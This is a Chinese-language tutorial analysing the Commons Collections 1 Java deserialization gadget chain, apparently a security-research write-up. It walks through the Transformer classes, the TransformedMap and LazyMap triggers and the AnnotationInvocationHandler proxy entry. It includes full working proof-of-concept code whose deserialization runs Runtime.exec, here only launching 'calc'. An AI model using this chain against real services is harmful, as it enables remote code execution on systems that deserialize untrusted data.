CommonsCollections1利用链分析
原理
先来看 ysoserial 中的利用链:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
其中的核心是那几个 Transformer 类,利用链中都调用了它们的 transform()
方法,首先看一下其作用
Transformer
Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
public interface Transformer {
Object transform(Object var1);
}
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调函数“,这个回调的参数是原始对象。
ConstantTransformer
ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。
InvokerTransformer
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。
在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
ChainedTransformer
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意:
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
代码分析
构造Transformer链
首先通常我们代码执行的写法是这样的:
Runtime.getRuntime().exec("calc"); //弹出计算器
我们把其改写为用 Transformer 类调用的方式:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[] {"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
现在我们已经把 transformerChain 构造好了,下一步就是看一下谁调用了 transform()
方法来触发这条链。
寻找利用函数
由于我们知道链是什么,所以就直接以TransformedMap类中的checkSetValue()
方法为例往下找:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
看这个类TransformedMap的构造函数,保护的,只能被自己调用。然后静态方法decorate()
调用了构造函数:
//这个类就相当与对java自带的map添加了新的功能,所以传入了keyTransformer和valueTransformer
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
现在到这里我们看看代码是如何利用的:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[] {"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
看谁调用了checkSetValue()
:可以看见只有TransformedMap父类AbstractInputCheckedMapDecorator调用了,是一个抽象类。然后内部的MapEntry类中调用了checkSetValue()
:
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
再看谁调用了setValue()
,会发现这里有很多。实际上如果想一下Entry是干什么的话,就能明白这个代码是干什么的。 我们看一下在Java中,Map里的Entry是什么:
Map是java中的接口,Map.Entry是Map的一个内部接口。
Map提供了一些常用方法,如keySet()
、entrySet()
等方法。
keySet()
方法返回值是Map中key值的集合;entrySet()
的返回值也是返回一个Set集合,此集合的类型为Map.Entry
Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry。它表示Map中的一个实体(一个key-value对)。接口中有getKey
、getValue
、setValue
等方法。
由于Map中存放的元素均为键值对,故每一个键值对必然存在一个映射关系。 Map中采用Entry内部类来表示一个映射项,映射项包含Key和Value (我们总说键值对键值对, 每一个键值对也就是一个Entry) Map.Entry里面包含getKey()
和getValue()
方法
//如何遍历一个Map
for (Map.Entry entry : map.entrySet()) {
System.out.println("key= " + entry.getKey() + " and value= " + entry.getValue());
}
//可以看到这里的entry就代表一个键值对,通过getKey()和getValue()方法得到键值
现在就可以理解,这里的setValue()
,实际上相当于其父类的的setValue()
的重写。因为TransformedMap最终是继承于Map的。
我们需要找到一个entry,然后调用了setValue()
。最后在AnnotationInvocationHandler类中的readObject()
方法中调用了setValue()
:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet()
和 memberValue.setValue(...)
。
memberValues
就是反序列化后得到的Map,也是经过了TransformedMap
修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用 setValue
设置值的时候就会触发 TransformedMap 里注册的 Transform
,进而执行我们为其精心设计的任意代码。
但是 AnnotationInvocationHandler 这个类并不是public,无法new
出来。因此只能通过反射去实例化这个类,AnnotationInvocationHandler 类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的 Map:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
反射获取getRuntime
在这个链中使用到了Runtime.getRuntime()
,但是这个类因为没有继承Serializable接口,所以是不能被序列化的。
虽然Runtime类不能被序列化,但是Class类是可以被序列化的,这样就可以通过反射来解决这个问题:
Class c = Runtime.class;
Method f = c.getMethod("getRuntime",null);
Runtime r = (Runtime) f.invoke(null,null);
r.exec("calc");
转换成Transformer的写法就是如下:
Transformer[] transformers = new Transformer[] {
//第一步先获取Runtime的class类
//Class c = Runtime.class;
new ConstantTransformer(Runtime.class),
//第而步调用getMethod方法,第一个参数为字符串,第二个参数为Class数组
//Method f = c.getMethod("getRuntime", null);
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
//第三步调用invoke方法,第一个参数为Object,第二个参数为Objec数组
//Runtime r = (Runtime) f.invoke(null,null);
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
//第四步调用exec方法,跟前面的一样,第一个参数为字符串
//r.exec("calc");
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
AnnotationInvocationHandler触发setValue条件
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("testK","testV");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
首先这个this.type
就是我们传入的第一个参数Retention.class
,得到其对象,再获取成员变量。但是注解Retention没有成员变量。
对我们传入的Map:memberValues
迭代:
通过(Entry)var4.next()
得到我们put
进去的第一个键值对,也就是map.put("testK", "testV");
然后通过(Class)var3.get(var6)
去查找var3
中的成员变量var6
,也就是testK
。可以看到图中的var7
为null
,这是因为Retention没有成员变量为value
的。这就不会走到setValue()
方法。
那我们看看Retention里面又什么变量:
学过注解的应该知道,这个value()
并不是方法,而是一个变量,也就是说Retention中只有value
这一个变量,因此我们只需将put()
方法里面的key
的值改为value
即可:
Map innerMap = new HashMap();
innerMap.put("value","testV");
这里无需关注setValue()
传入的对象是否是可控的,因为在ConstantTransformer类中也重写了transform()
方法,而ConstantTransformer类的transform()
方法无论我们输入参数是什么,它只会返回它构造函数时候所传入的对象,因此该条链总能从Runtime.class
开始。
此时完整的POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.getRuntime()),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc"}),
// };
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
动态代理触发invoke
上面的POC还不是ysoserial的利用链,ysoserial用LazyMap代替了TransformedMap。
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承 AbstractMapDecorator。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform()
,而LazyMap是在其get()
方法中执行的 factory.transform()
。其实这也好理解,LazyMap 的作用是“懒加载”,在get()
找不到值的时候,它会调用 factory.transform()
方法去获取一个值:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandler
的readObject()
方法中并没有直接调用到 Map的get()
方法。
所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke()
方法有调用到get()
:
ysoserial通过动态代理的方式去触发invoke()
方法,因为动态代理类都需要传入一个实现了InvocationHandler接口的类,并且这个类要重写一个invoke()
方法:
而当动态代理类的代理对象调用任意方法的时候,就会进入到这个实现了InvocationHandler接口的类中的invoke()
方法。
我们回看 sun.reflect.annotation.AnnotationInvocationHandler
,会发现实际上这个类就是实现了InvocationHandler接口,因此能够用作动态代理
我们如果将这个对象用Proxy进行代理,那么在readObject()
的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke
方法中,进而触发我们的 LazyMap#get
。
首先使用LazyMap替换 TransformedMap:
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler
对象进行Proxy:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject
,所以我们还需要再用 AnnotationInvocationHandler对这个proxyMap进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
所以,结合上述的一些修改,最后构造的POC如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
总结
以图解的方式回顾一下整条链的利用:
- 第一条链:从
AnnotationInvocationHandler.readObject()
开始;调用 TransformedMap类从其父类继承回来的setValue()
方法;然后调用了自身的checkSetValue()
方法;该方法调用传入的Transformer类的transform()
方法;这里的 Transformer 类能够传入 ChainedTransformer 进行链锁调用,配合ConstantTransformer类和InvokerTransformer类的功能以及反射利用,从而执行任意代码。 - 第二条连:同样从
AnnotationInvocationHandler.readObject()
开始;利用动态代理调用被代理类的任意方法能够调用代理处理类的invoke()
方法的特性,从AnnotationInvocationHandler类的entrySet()
方法触发该特性,进入到AnnotationInvocationHandler.invoke()
;进而调用其中的LazyMap.get()
方法;最后get()
又会走到transform()
方法;后面的内容跟第一条链相同。